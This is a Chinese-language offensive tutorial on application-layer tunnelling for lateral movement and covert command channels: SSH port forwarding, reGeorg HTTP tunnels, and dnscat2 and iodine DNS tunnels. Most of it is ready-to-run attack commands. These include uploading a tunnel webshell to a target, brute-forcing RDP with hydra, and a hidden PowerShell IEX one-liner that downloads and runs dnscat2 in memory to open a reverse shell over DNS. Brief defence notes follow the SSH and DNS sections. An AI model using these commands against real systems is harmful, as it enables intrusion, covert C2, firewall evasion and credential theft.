'应用层隧道技术'

SSH协议

一个普通的ssh远程连接命令
ssh root@192.168.1.1

创建SSH隧道常用参数如下:
-C:压缩传输,提高传输速度
-f:将SSH传输转入后台执行,不占用当前的shell
-N:建立静默连接(建立了连接,但看不到具体的会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发(SOCKS代理)
-P:指定SSH端口

1、本地转发

kali(攻击机)执行,会要求输入跳板机密码
ssh -CfNg -L 1153(攻击机):1.1.1.10(目标机).3389(目标机) root@192.168.1.1(跳板机)
netstat -tulnp | grep “1153” 查看端口
rdesktop 127.0.0.1:1153 进行连接
本地转发是将远程主机某个端口的数据转发到本地机器的指定端口。

2、远程转发

WEB服务器(跳板机)执行
ssh -CfNg -R 3307(攻击机):1.1.1.10(目标机):3389(目标机) root@192.168.1.4(攻击机)
远程转发是在远程服务器上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地的对应端口。

3、动态转发

kali(攻击机)执行命令,建立SOCKS 4/5代理通道
ssh -CfNg -D 7000 root@192.168.1.1(WEB服务器)
配置SOCKS代理 127.0.0.1 7000
浏览器访问1.1.1.2(内网web服务器)即可看到web服务

4、防御SSH隧道攻击的思路

系统中配置SSH远程管理白名单,在ACL中限制只有指定IP地址才能访问SSH,以及设置系统完全使用带外管理等。如果没有足够的资源建立带外管理的网络结构,至少限制SSH远程登陆IP,并设置双向访问控制策略(从外到内,从内到外)。

HTTP/HTTPS协议

HTTP service代理用于将所有的流量转发到内网。常用代理工具有reGeorg、meterpreter、tunna等。
reGeorg原理:把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。(会被杀软查杀)
下载链接https://github.com/sensepost/reGeorg
将tunnel.jsp脚本(有其他类型脚本,ASPX、PHP、JSP等)上传到目标服务器
python reGeorgSocksProxy.py -u http://192.168.1.1/tunnel.jsp -p 9999
执行后,配置proxychains 127.0.0.1 9999
就可访问目标服务器
使用九头蛇(hydra)爆破3389远程桌面连接等操作
proxychains hydra -s 3389 -V -l administrator -P /root/destop/passwd.txt -t 8 192.168.1.1 rdp

DNS协议

优点:DNS协议难以被禁用,报文具有穿透防火墙的能力。由于防火墙和入侵检测设备(IPS/IDS)大都不会过滤DNS流量,也为DNS成为隐蔽通信创造了条件。
DNS隧道工作原理:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。预期返回的是一个IP地址,但返回的可以是任意字符串,包括加密的C&C指令。
使用DNS隧道与外部进行通信时,从表面上看没有连接外网的(内网网关没有转发IP数据包),但实际上,内网的DNS服务器进行了中转操作。原理简单来说就是将其他协议封装在DNS协议中进行传输。

1、查看DNS的连通性

查看内部域名及IP地址
cat /etc/resolv.conf|grep -v ‘#’

是否能与内部DNS通信
nslookup hack.lab

查询能否通过内部DNS服务器解析外部域名
nslookup www.baidu.com

2、dnscat2

简介:开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用shell及DNS查询类型,多个同时进行的会话类似于SSH中的通道。客户端用C编写,服务端用Ruby编写。

直连模式:客户端直接指定IP地址的DNS服务器发起DNS解析请求。(内网放行所有DNS请求时使用)
中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。速度比直连慢。(内网只允许白名单服务器或制定域)

(1)部署域名解析

搞台VPS安装linux,并配置域名。
创建A记录,域名解析服务器指向VPS的IP。再创建NS记录,将dnsch子域名的解析结果指向域名解析服务器(ns1.sunian.top)。
PS:注意开放防火墙dnsnat2走的是UDP的流量!
验证是否设置成功
ping ns1.sunian.top (返回VPS的IP,说明A生效)
tcpdump -n -i eth0 udp dst port 53 (VPS上抓包53端口)
nslookup vpn.sunian.top (查看抓包情况,抓到DNS请求包,说明NS生效)



(2)安装

apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler

apt-get install git
git clone https://github.com/iagox86/dnscat2
cd dnscat2/server
bundle install

(3)启动服务端

sudo ruby ./dnscat2.rb vpn.sunian.top -e open -c suniana --no-cache
如果采用的是直连,可使用以下命令
sudo ruby ./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=suniana
以上命令表示监听533端口,自定义连接密码为"suniana"
-c:定义"pre-shared secret",使用具有预共享密钥的身份验证机制来防止中间人攻击。
-e:规定安全级别。"open"代表服务端允许客户端不进行加密。
–no-cache:禁止缓存。务必运行服务器时添加该选项。因为powershell-dnscat2与dnscat2的Caching模式不兼容。

(4)目标机安装客户端

linux中:
git clone https://github.com/iagox86/dnscat2
cd dnscat2/client/
make
windows中(直接使用编译好的):
https://downloads.skullsecurity.org/dnscat2/

(5)检测是否能通信

dnscat2-v0.07-client-win32.exe --ping vpn.sunian.top
显示"creating a ping session!“… 即可
连接服务端
dnscat2-v0.07-client-win32.exe --dns domain=vpn.sunian.top --secret suniana
连接成功,则显示"session established!”

如果服务端使用的是直连模式(未测试成功),可直接填写服务端的IP地址(不通过DNS服务商),向服务端所在IP请求DNS解析。
dnscat --dns port=533,server=192.168.1.1,domain=vpn.sunian.top --secret=suniana

(6)推荐使用powershell版本的dnscat2客户端。

直接将脚本拖上去,执行
Import-Module ./dnscat2.ps1
或使用命令下载
IEX(New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1’)
加载脚本后,开启服务
start-Dnscat2 -Domain vpn.sunian.top -DNSServer 192.168.1.1

(7)使用IEX加载脚本的方式,在内存打开dnscat2客户端

powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1’); start-Dnscat2 -Domain vpn.sunian.top -DNSServer 192.168.1.1}
执行以下命令,创建一个控制台,然后执行powershell命令和脚本
exec psh

(8)反弹shell

使用方法与Metasploit相似,客户端运行dnscat2.ps1后,可以在服务端看到上线情况
New windows created:1
session -i 1 (调用sesion,连接shell)
exec notepad.exe (打开记事本)


命令介绍
clear:清屏。
delay:修改远程响应延时。
exec:执行远程机器上的指定程序。
shell:得到一个反弹shell
download/upload:在两端之间上传/下载文件。适合小文件。
suspend:返回上一层,相当于快捷键"ctrl+z"。
listen:类似于SSH隧道的-L参数(本地转发),例如listen 0.0.0.0:53 192.168.1.1:3389
ping:确认目标机器是否在线。返回"pong",则在线。
shutdown:切断当前会话。
quit:退出。
kill:切断指定通道。
set:设置值,例如security=open。
windows(session):列出所有通道。
windows -i :连接某个通道。

提供多域名并发。即多个子域名绑定同一个NS下,服务端可接收多个客户端
ruby dnscat2.rb --dns=port=533 --security=open start --dns domain=,domain=

3、iodine

(1)简介

和dnscat2一样分为直连和中继模式。原理:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网。连接成功后,客户端会多出一个名为"dns0"的虚拟网卡。
PS:域名解析的设置和dnsnat2相同

(2)安装与运行

https://github.com/Al1ex/iodine
kali、ubantu直接使用以下命令安装
apt install iodine
运行:
iodined -f -c -P suniana 192.168.0.1(自定义局域网IP) vpn.sunian.top -DD
完成基本配置后访问https://code.kryo.se/iodine/check-it
检查配置是否正确,也可查看网卡

命令详解
-f:在前台运行。
-c:禁止检查所有传入请求的客户端IP地址。
-P:设置连接密码。
-D:指定调试级别。-DD指2级。D的数量随等级增加。

安装客户端
iodine -f -P suniana -M 200 vpn.sunian.top
PS:需要使用管理员权限启动


-r:有时会自动切换为UDP通道,该命令强制使用DNS隧道(无论什么情况)
-M:指定上行主机名的大小。
-m:调节最大下行分片的大小。
-T:指定DNS请求类型。可选NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
-O:指定数据编码规范。
-L:是否开启懒惰模式。
-I:指定请求与请求之间的时间间隔。

若出现"Connection setup complete,transmitting data"的提示信息,就代表DNS隧道已建立。

(3)使用DNS隧道
因为处于同一个局域网中,只需直接访问服务端即可。例如,ssh sunian@10.0.0.1 命令。

防御DNS隧道攻击

(1)、禁止网络中任何人向外部服务器发送DNS请求,只允许受信任的DNS服务器通信。
(2)、将邮件服务器/网关列入白名单并阻止传入和传出流量中的TXT请求。
(3)、跟踪用户的DNS查询次数。达到阈值,就生成相应的报告。
(4)、阻止ICMP。